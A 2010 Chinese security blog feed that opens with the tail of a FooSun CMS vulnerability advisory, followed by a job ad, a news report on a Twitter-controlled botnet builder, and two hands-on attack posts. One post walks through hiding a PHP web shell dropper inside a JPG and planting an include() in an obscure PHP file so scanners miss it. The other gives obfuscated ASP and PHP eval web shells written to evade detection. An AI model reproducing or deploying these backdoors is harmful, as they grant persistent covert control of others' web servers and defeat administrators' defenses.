Select Case Act

Case “checkname”

整合文件中没有判断程序是否开启，恶意用户可以向该文件提交数据来进行修改删除用户的操作。

解决方案:
厂商补丁：
FooSun
——-
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.foosun.net/

信息来源:
<* 来源: Bug.Center.Team
链接: http://wavdb.com/vuln/1662
*>

新浪招聘安全工程师

Neeao — Fri, 11 Jun 2010 17:18:42 +0800

工作地点：北京
招聘人数：1
联系邮箱：guizaicn@gmail.com
要求：熟悉钓鱼攻击和防范、XSS防护，熟悉常见的WEB漏洞，喜欢网络安全，最好有开发经验。
待遇面议

有兴趣的同学请联系。

寻找绝对隐蔽的后门的办法分享

Neeao — Fri, 11 Jun 2010 11:25:27 +0800

nginx前几天nginx和IIS7都爆解析漏洞，搞了几个shell都丢了，于是想寻找一个超级隐蔽的后门方法。无意中发现include这个函数可以把任意文件解析为php执行.网上去搜索include函数漏洞,得到的结果很少.绝大多数是关于文件包含漏洞，比如用变量作为包含对像，这只是针对程序，而非针对php下 include()这个函数.关于说这个函数把任意文件解析为php的文章我还没见过,所以暂且称为原创.有找到的联系我一下.呵呵，要是真没有..这漏洞就是我发现的了，嘎嘎.

include()函数这个漏洞一直存在,而且一直没有补丁，因为利用的人很少.具体漏洞内容就是它可以用来把任意文件解析为php.比如include(“linuxso.txt”) include(“linuxso.jpg”); 之类的，全部当作php来执行.因为他是php函数库的问题，所以就跟web服务器和系统无关了，理论上apache,IIS,nginx或其它web服务器，都是可以的。我只试了apache和nginx，测试成功.测试方法比较简单，这里就不多说。直接来说这个漏洞有什么用，目前我是用来拿到web shell之后制造超级隐蔽的web后门，其它作用大家自由发挥哈.实验开始.

1，制作一张包含特殊代码的jpg图片. 因为市面上扫描网站木马的程序，都不扫描图片格式的文件,只搜索.php之类的危险后缀.当然.jpg当然是给管理员的感觉是没有任何隐患滴.新建议一个文件 linuxso.txt 内容如下:

<?fputs(fopen(“linuxso.php”,”w”),”<?eval(\$_POST[linuxso]);?>”)?> //作用是在当前目录，打开一个linuxso.php 写入一句话
重命名为 linuxso.jpg

2，找个图片目录上传jpg.路径记下来.

找一个深目录内又几乎用不到的php文件,比如class.archive_read.php,添加一句话 include(“../../xxx/linuxso.jpg”); //搞清楚相对路径哦.

3,访问 http://www.xxx.com/class/class.archive_read.php,即在class.archive_read.php 同目录下生成一句话木马 linuxso.php 密码linuxso

连接一句话.上传大马.玩完了之后，记得删掉小马.这样任意他找什么扫网马的工具.. 也查不到咱的马.嘎嘎，除非…看过这篇文章的管理员.

如果上传假图片怕被发现的话，还可以用 copy命令，拿一张正常的图片和linux.txt 合成到一起.完成之后，图片可以正常预览.

命令如下 copy 1.jpg/b+1.txt/b 3.jpg/b 因为这样include函数包含之后，图片会正常显示，所以那句include一定要加到一个几乎用不到的php文件里.

来源：http://laoxiege.blog.sohu.com/153960857.html

攻击者利用Twitter进行僵尸网络指挥和控制

Neeao — Fri, 11 Jun 2010 11:20:08 +0800

安全研究人员发现了一个自动化工具包，能使攻击者利用微博平台 Twitter作为其僵尸网络指挥和控制平台，从而建立一个僵尸网络。

过去，攻击者已经使用Twitter向僵尸网络发布命令。Arbor网络公司的安全研究人员发现了一种僵尸网络，它利用Twitter作为指挥和控制服务器。Twitter的安全团队已经关闭了许多具有可疑信息的账户，这些账户可能向僵尸电脑发出过命令。新的工具包，称为TwitterNET Builder，将代码写作知识运用到指挥和控制服务中。

BitDefender在新闻发布会上说，“为了创建自己的定制僵尸，攻击者只需启动SDK，输入一个Twitter用户名，就可作为一个指挥和控制中心，修改所产生的僵尸的名字和图标，以配合其分配方法。”

反恶意软件厂商BitDefender称，它们已经发布更新，检测从Twitter获取命令的恶意软件。赛门铁克公司发布了一个视频，展示了 TwitterNet Builder如何工作。

“创作者没有花太多的精力来保护来自逆向工程或检测和终端的僵尸，但这一缺陷并不能阻止他们危害普通计算机用户。”

该工具会得到广泛使用是不太可能的，因为此方法有一个很大的缺点：一旦帐户被删除，整个僵尸网络将被拆除。尽管如此，BitDefender认为，通过在移动电话或Twitter的客户端Tweeting个帐号，攻击者可以在几秒钟内传播恶意软件或发布分布式拒绝服务（DDoS）。

安全厂商 Sunbelt软件公司的高级威胁研究员Chris Boyd，称新TwitterNET工具很“圆滑”，但是试图使用Twitter僵尸网络攻击方法的人很容易暴露出来。

Boyd在Sunbelt的博客中写道，“如果有人控制了僵尸，但想隐瞒在 Twitter页面的命令，这是不可能的。”

Boyd表示，Twitter应该能够跟踪并阻止企图利用该服务发布命令的行为。

僵尸转向基于云的方法

随着云计算在企业中越来越重要，网络罪犯也渐渐转向基于Web的平台（而不是物理服务器），向大量僵尸感染的计算机发送命令。去年夏天，Arbor网络公司的僵尸网络专家Jose Nazario说，Arbor发现越来越多的网络罪犯正试图利用云服务提供的免费存储空间和带宽。

当时，Arbor跟踪被僵尸牧人利用的谷歌AppEngine应用程序，发现僵尸牧人用它们来给僵尸电脑发布命令。该现象已迫使社交网站（如Twitter和Facebook）加强内容过滤，以检测指向托管恶意软件的服务器的可执行文件和链接。

赛门铁克也发现了类似的方法，用Facebook作为命令和控制服务器。去年检测到在Facebook的移动版中有Whitewell Trojan木马，它们在转发到Web服务器之前接收配置数据，下载恶意软件。

【TechTarget中国原创】

[Lcx]变形aspwebshell & phpwebshell

Neeao — Fri, 11 Jun 2010 11:15:17 +0800

ps:确实有点bt的说。

asp版的，这是utf-8编码，自己看着弄吧

<%@LANGUAGE=”JAVASCRIPT” CODEPAGE=”65001″%>
<%
var lcx = {‘名字’ : Request.form(‘#’), ‘性别’ : eval, ‘年龄’ : ‘18′, ‘昵称’ : ‘请叫我一声老大’};
lcx.性别((lcx.名字)+”);
%>

用冰狐就行了

<?php
@preg_replace(“/[email]/e”,$_POST['h'],”error”);
?>

菜刀附加数据：
<O>h=@eval($_POST[c]);</O>

[email]和error你看着换吧，怎么隐蔽怎么来
密码c

用老兵的菜刀